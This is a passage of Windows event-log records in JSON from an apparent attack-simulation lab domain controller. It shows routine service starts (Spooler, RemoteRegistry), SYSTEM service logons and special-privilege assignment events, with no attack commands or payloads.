11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76788,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The Spooler service entered the running state.","param1":"Spooler","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221461,"ProcessID":860,"ThreadID":1100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221462,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221463,"ProcessID":860,"ThreadID":1100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221464,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76789,"ProcessID":852,"ThreadID":2660,"Channel":"System","Message":"The RemoteRegistry service entered the running state.","param1":"RemoteRegistry","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221465,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221466,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221467,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221468,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221469,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221470,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 